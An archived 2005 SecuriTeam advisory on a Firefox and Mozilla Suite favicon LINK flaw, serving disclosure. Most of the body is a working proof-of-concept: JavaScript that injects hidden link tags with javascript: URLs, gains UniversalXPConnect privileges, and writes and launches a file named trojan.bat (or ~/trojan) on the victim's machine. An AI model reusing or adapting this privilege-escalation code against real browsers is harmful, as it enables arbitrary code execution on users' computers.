[UNIX] Mozilla Suite and Firefox "favicons" LINK Code Execution (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 04/18/05

  • Next message: SecuriTeam: "[UNIX] Mafia Blog Privilege Escalation Vulnerability" 
    To: list@securiteam.com
Date: 18 Apr 2005 11:59:05 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Mozilla Suite and Firefox "favicons" LINK Code Execution (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    Firefox and the Mozilla Suite support custom "favicons" through the <LINK
    rel="icon"> tag. If a link tag is added to the page programmatically and a
    JavaScript: url is used, then script will run with elevated privileges and
    could run or install malicious software.

    DETAILS

    Vulnerable Systems:
     * Firefox version 1.0.2 and prior
     * Mozilla Suite version 1.7.6 and prior

    Immune Systems:
     * Firefox version 1.0.3 or newer
     * Mozilla Suite version 1.7.7 or newer

    Exploit:
    // If a user clicks on a link, this code will create and launch the file
    c:\trojan.bat (on Windows).
    // On Linux and Mac OS X this code will create the file ~/trojan or
    /trojan

    < html>
    < head>
    < link rel="SHORTCUT ICON" href="favicon.ico">
    < script language="JavaScript" type="text/javascript">
    var pf = navigator.platform.toLowerCase();
    if (pf.indexOf("win") != -1) {
    var os = "win";
    } else if (pf.indexOf("mac") != -1) {
    var os = "mac";
    } else {
    var os = "linux"
    }
    function runDemo() {
    // this is an ugly caching workaround
    document.getElementById('outhtml').innerHTML = "";
    document.getElementById('outhtml').innerHTML +=
    document.getElementById('clearhtml').value
    document.getElementById('outhtml').innerHTML +=
    document.getElementById('clearhtml').value
    document.getElementById('outhtml').innerHTML +=
    document.getElementById('clearhtml').value
    window.setTimeout("document.getElementById('outhtml').innerHTML +=
    document.getElementById('linkhtml_"+os+"').value",300);
    }
    </script>
    </head>
    <body>

    < div id="outhtml" style="display:none"></div>

    < textarea id="clearhtml" style="display:none">
    < link rel="SHORTCUT ICON" href="favicon.ico">
    </textarea>

    < textarea id="linkhtml_win" style="display:none">
    < link rel="SHORTCUT ICON"
    href="javascript:delayedOpenWindow('javascript:netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');
    file=Components.classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile);
    file.initWithPath(\'c:\\\\trojan.bat\');
    file.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE,420);
    outputStream =
    Components.classes[\'@mozilla.org/network/file-output-stream;1\'].createInstance( Components.interfaces.nsIFileOutputStream ); outputStream.init(file, 0x04|0x08|0x20, 420, 0);
    output=\'@ECHO OFF\\n:BEGIN\\nCLS\\nDIR\\nPAUSE\\n:END\';
    outputStream.write(output, output.length);
    outputStream.close();
    file.launch();', '', '')">
    </textarea>

    < textarea id="linkhtml_mac" style="display:none">
    < link rel="SHORTCUT ICON"
    href="javascript:delayedOpenWindow('javascript:netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');
    file=Components.classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile);
    file.initWithPath(\'/trojan\');file.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 420);
    outputStream=Components.classes
    [\'@mozilla.org/network/file-output-stream;1\'].createInstance(Components.interfaces
    nsIFileOutputStream);outputStream.init(file,0x04|0x08|0x20,420,0);
    output=\'trojan!\';outputStream.write(output,output.length);outputStream.close();','','')">
    </textarea>

    < textarea id="linkhtml_linux" style="display:none">
    < link rel="SHORTCUT ICON"
    href="javascript:delayedOpenWindow('javascript:netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\'); file=Components.classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile);
    file.initWithPath(\'~/trojan\');
    file.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE,420);
    outputStream=Components.classes[\'@mozilla.org/network/file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream); outputStream.init(file, 0x04|0x08|0x20, 420, 0); output=\'trojan!\'; outputStream.write(output, output.length); outputStream.close();', '', '')">
    </textarea><br>
    < a href="#" onclick="runDemo();runDemo();">Click HERE</a>
    </div>
    </body>
    </html>

    ADDITIONAL INFORMATION

    The information has been provided by Michael Krax.
    The original article can be found at:
    <http://www.mozilla.org/security/announce/mfsa2005-37.html>
    http://www.mozilla.org/security/announce/mfsa2005-37.html

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[UNIX] Mafia Blog Privilege Escalation Vulnerability"

    Relevant Pages

    • [NT] MDaemon POP3 Server Buffer Overflow (preauth)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... MDaemon POP3 Server Buffer Overflow (preauth) ... recv ($sock, $var, 10000,0); ...
      (Securiteam)
    • [NEWS] Multiple Browsers File Upload Data Disclosure
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The problem exists both with Internet Explorer and Firefox, ... attackers can upload sensitive information from client ... var saved; ...
      (Securiteam)
    • [NT] FaceBook ImageUploader OCX Stack Buffer Overflow Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... FaceBook ImageUploader OCX Stack Buffer Overflow Vulnerability ... an attacker will not execute code on systems with Software DEP enabled on ... var block_size = 0x400000; ...
      (Securiteam)
    • [EXPL] Firefox Javascript navigator Object Code Execution (PoC)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Firefox has been found to contain a vulnerability that allows remote ... var fill_win32 = unescape; ... shellcode = shellcode_linux; ...
      (Securiteam)
    • [NEWS] Gecko InstallVersion.compareTo Code Execution (Exploit)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... var heapSprayToAddress=0x12000000; ... // Caluclate spray slides size ...
      (Securiteam)